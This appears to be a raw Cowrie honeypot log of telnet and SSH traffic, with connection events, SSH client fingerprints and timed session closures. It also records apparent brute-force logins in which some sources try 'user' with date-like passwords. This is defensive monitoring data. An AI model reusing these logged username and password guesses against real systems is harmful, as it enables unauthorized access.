{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":46450,"dst_ip":"10.17.0.5","dst_port":23,"session":"445ba5c61937","protocol":"telnet","message":"New connection: 155.138.226.95:46450 (10.17.0.5:23) [session: 445ba5c61937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:11.605302Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":46452,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb02d2566ec2","protocol":"telnet","message":"New connection: 155.138.226.95:46452 (10.17.0.5:23) [session: cb02d2566ec2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:11.679246Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":46466,"dst_ip":"10.17.0.5","dst_port":23,"session":"9198585e2f03","protocol":"telnet","message":"New connection: 155.138.226.95:46466 (10.17.0.5:23) [session: 9198585e2f03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:13.046711Z"}
{"eventid":"cowrie.session.closed","duration":31.16198444366455,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:13.907469Z","src_ip":"155.138.226.95","session":"fca25467575f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":46478,"dst_ip":"10.17.0.5","dst_port":23,"session":"c69f89b3a884","protocol":"telnet","message":"New connection: 155.138.226.95:46478 (10.17.0.5:23) [session: c69f89b3a884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:14.831161Z"}
{"eventid":"cowrie.session.closed","duration":31.005314826965332,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:15.046861Z","src_ip":"155.138.226.95","session":"c0e9ba678ac3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.939902544021606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:15.069994Z","src_ip":"155.138.226.95","session":"ed50b6cd3ce8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.336288690567017,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:15.551910Z","src_ip":"155.138.226.95","session":"0a10ad71a20e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":46490,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bcb1e1cde69","protocol":"telnet","message":"New connection: 155.138.226.95:46490 (10.17.0.5:23) [session: 9bcb1e1cde69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:15.999088Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":46492,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3e6c1a1749d","protocol":"telnet","message":"New connection: 155.138.226.95:46492 (10.17.0.5:23) [session: d3e6c1a1749d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:18.050295Z"}
{"eventid":"cowrie.session.closed","duration":30.32019352912903,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:18.101285Z","src_ip":"155.138.226.95","session":"d801430c49f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":46502,"dst_ip":"10.17.0.5","dst_port":23,"session":"1daf59becf80","protocol":"telnet","message":"New connection: 155.138.226.95:46502 (10.17.0.5:23) [session: 1daf59becf80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:18.620692Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":46504,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f905bcf221b","protocol":"telnet","message":"New connection: 155.138.226.95:46504 (10.17.0.5:23) [session: 9f905bcf221b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:18.870630Z"}
{"eventid":"cowrie.session.closed","duration":"15.2","message":"Connection lost after 15.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:19.166526Z","src_ip":"66.132.195.107","session":"f2a972dd2d59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.34549617767334,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:19.215477Z","src_ip":"155.138.226.95","session":"7110700abb86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.716835975646973,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:19.803494Z","src_ip":"155.138.226.95","session":"36692d6efb3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59503173828125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:20.272609Z","src_ip":"155.138.226.95","session":"e18fc21a277c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":46512,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dc8a3d49061","protocol":"telnet","message":"New connection: 155.138.226.95:46512 (10.17.0.5:23) [session: 7dc8a3d49061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:20.390720Z"}
{"eventid":"cowrie.session.closed","duration":30.615034341812134,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:21.074169Z","src_ip":"155.138.226.95","session":"e6bae1d1c9dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":51720,"dst_ip":"10.17.0.5","dst_port":23,"session":"c17f66e34213","protocol":"telnet","message":"New connection: 155.138.226.95:51720 (10.17.0.5:23) [session: c17f66e34213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:21.754988Z"}
{"eventid":"cowrie.session.closed","duration":30.892824411392212,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:22.069796Z","src_ip":"155.138.226.95","session":"eeb27985c938","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.295732975006104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:22.718476Z","src_ip":"155.138.226.95","session":"37d235dcdfdc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.386884689331055,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:23.312765Z","src_ip":"155.138.226.95","session":"ba7244d35f0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":66.71128368377686,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:24.572093Z","src_ip":"64.41.88.162","session":"36367305b9ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.769280910491943,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:25.930491Z","src_ip":"155.138.226.95","session":"a6a4046950a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.54882526397705,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:26.713937Z","src_ip":"155.138.226.95","session":"f12d558b4737","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":51722,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fb7e7076102","protocol":"telnet","message":"New connection: 155.138.226.95:51722 (10.17.0.5:23) [session: 5fb7e7076102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:27.101050Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":51734,"dst_ip":"10.17.0.5","dst_port":23,"session":"f65fbf99702c","protocol":"telnet","message":"New connection: 155.138.226.95:51734 (10.17.0.5:23) [session: f65fbf99702c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:29.022552Z"}
{"eventid":"cowrie.session.closed","duration":30.557315826416016,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:29.085786Z","src_ip":"155.138.226.95","session":"3e520f997a19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":94.79744124412537,"message":"Connection lost after 94 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:29.654192Z","src_ip":"64.41.88.162","session":"41153b791495","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":94.86430168151855,"message":"Connection lost after 94 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:30.566964Z","src_ip":"64.41.88.162","session":"263e53965bb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":51750,"dst_ip":"10.17.0.5","dst_port":23,"session":"350fa06fc2ad","protocol":"telnet","message":"New connection: 155.138.226.95:51750 (10.17.0.5:23) [session: 350fa06fc2ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:31.095079Z"}
{"eventid":"cowrie.session.closed","duration":30.44726324081421,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:31.334792Z","src_ip":"155.138.226.95","session":"047932e31cf1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":34694,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7afca21d036","protocol":"telnet","message":"New connection: 155.138.226.95:34694 (10.17.0.5:23) [session: b7afca21d036]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:32.780131Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":42596,"dst_ip":"10.17.0.5","dst_port":22,"session":"66536554a1e5","protocol":"ssh","message":"New connection: 2.57.121.25:42596 (10.17.0.5:22) [session: 66536554a1e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:34.287394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:34.291561Z","src_ip":"2.57.121.25","session":"66536554a1e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:34.396676Z","src_ip":"2.57.121.25","session":"66536554a1e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":45677,"dst_ip":"159.203.135.109","dst_port":22,"session":"3aec50211aec","protocol":"ssh","message":"New connection: 193.24.211.95:45677 (159.203.135.109:22) [session: 3aec50211aec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:34.517235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:34.544565Z","src_ip":"193.24.211.95","session":"3aec50211aec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":34706,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbc78d8af8af","protocol":"telnet","message":"New connection: 155.138.226.95:34706 (10.17.0.5:23) [session: dbc78d8af8af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:34.570415Z"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:34.627073Z","src_ip":"193.24.211.95","session":"3aec50211aec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":34714,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a338c423159","protocol":"telnet","message":"New connection: 155.138.226.95:34714 (10.17.0.5:23) [session: 9a338c423159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:34.683536Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"30041978","message":"login attempt [user/30041978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:34.897951Z","src_ip":"2.57.121.25","session":"66536554a1e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":34724,"dst_ip":"10.17.0.5","dst_port":23,"session":"5471fed8f860","protocol":"telnet","message":"New connection: 155.138.226.95:34724 (10.17.0.5:23) [session: 5471fed8f860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:35.015329Z"}
{"eventid":"cowrie.login.failed","username":"username","password":"test","message":"login attempt [username/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:35.054092Z","src_ip":"193.24.211.95","session":"3aec50211aec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"300300","message":"login attempt [user/300300] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:36.007423Z","src_ip":"2.57.121.25","session":"66536554a1e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:36.165980Z","src_ip":"193.24.211.95","session":"3aec50211aec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":34740,"dst_ip":"10.17.0.5","dst_port":23,"session":"69084a879dd7","protocol":"telnet","message":"New connection: 155.138.226.95:34740 (10.17.0.5:23) [session: 69084a879dd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:36.416233Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":34742,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fcede150f88","protocol":"telnet","message":"New connection: 155.138.226.95:34742 (10.17.0.5:23) [session: 9fcede150f88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:37.010255Z"}
{"eventid":"cowrie.session.closed","duration":30.285614013671875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:37.096583Z","src_ip":"155.138.226.95","session":"66da18d3cf18","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"291286","message":"login attempt [user/291286] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:37.118062Z","src_ip":"2.57.121.25","session":"66536554a1e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.283389568328857,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:37.679501Z","src_ip":"155.138.226.95","session":"12ca4bbe4671","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"29111981","message":"login attempt [user/29111981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:38.225907Z","src_ip":"2.57.121.25","session":"66536554a1e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.449203968048096,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:39.258754Z","src_ip":"155.138.226.95","session":"1bd2d11510dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77968692779541,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:39.284446Z","src_ip":"155.138.226.95","session":"3099ce4bfbde","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"291084","message":"login attempt [user/291084] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:39.335504Z","src_ip":"2.57.121.25","session":"66536554a1e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.694701671600342,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:39.926046Z","src_ip":"155.138.226.95","session":"bc4f0f5b6625","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:40.443698Z","src_ip":"2.57.121.25","session":"66536554a1e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":36770,"dst_ip":"10.17.0.5","dst_port":23,"session":"53004c8d5f7f","protocol":"telnet","message":"New connection: 155.138.226.95:36770 (10.17.0.5:23) [session: 53004c8d5f7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:40.855174Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":36786,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed6340e6d809","protocol":"telnet","message":"New connection: 155.138.226.95:36786 (10.17.0.5:23) [session: ed6340e6d809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:41.579730Z"}
{"eventid":"cowrie.session.closed","duration":30.573488235473633,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:42.178651Z","src_ip":"155.138.226.95","session":"445ba5c61937","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.652217626571655,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:42.331336Z","src_ip":"155.138.226.95","session":"cb02d2566ec2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.364109754562378,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:42.356787Z","src_ip":"155.138.226.95","session":"48058ffae158","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":95.13251662254333,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:43.209333Z","src_ip":"64.41.88.162","session":"187ac2a43775","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.299325227737427,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:44.345912Z","src_ip":"155.138.226.95","session":"9198585e2f03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51544189453125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:45.346438Z","src_ip":"155.138.226.95","session":"c69f89b3a884","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":36794,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b5477649dae","protocol":"telnet","message":"New connection: 155.138.226.95:36794 (10.17.0.5:23) [session: 9b5477649dae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:45.934108Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":36804,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6334e9ff926","protocol":"telnet","message":"New connection: 155.138.226.95:36804 (10.17.0.5:23) [session: e6334e9ff926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:47.734791Z"}
{"eventid":"cowrie.session.closed","duration":32.01221251487732,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:48.011176Z","src_ip":"155.138.226.95","session":"9bcb1e1cde69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":45974,"dst_ip":"10.17.0.5","dst_port":23,"session":"20afd9c95cae","protocol":"telnet","message":"New connection: 104.245.105.2:45974 (10.17.0.5:23) [session: 20afd9c95cae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:48.020829Z"}
{"eventid":"cowrie.session.closed","duration":95.6838595867157,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:48.088610Z","src_ip":"64.41.88.162","session":"2c4d485972dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":36800,"dst_ip":"10.17.0.5","dst_port":23,"session":"40d1cd077e39","protocol":"telnet","message":"New connection: 155.138.226.95:36800 (10.17.0.5:23) [session: 40d1cd077e39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:48.377934Z"}
{"eventid":"cowrie.session.closed","duration":30.673118591308594,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:35:49.293687Z","src_ip":"155.138.226.95","session":"1daf59becf80","protocol":"telnet"}
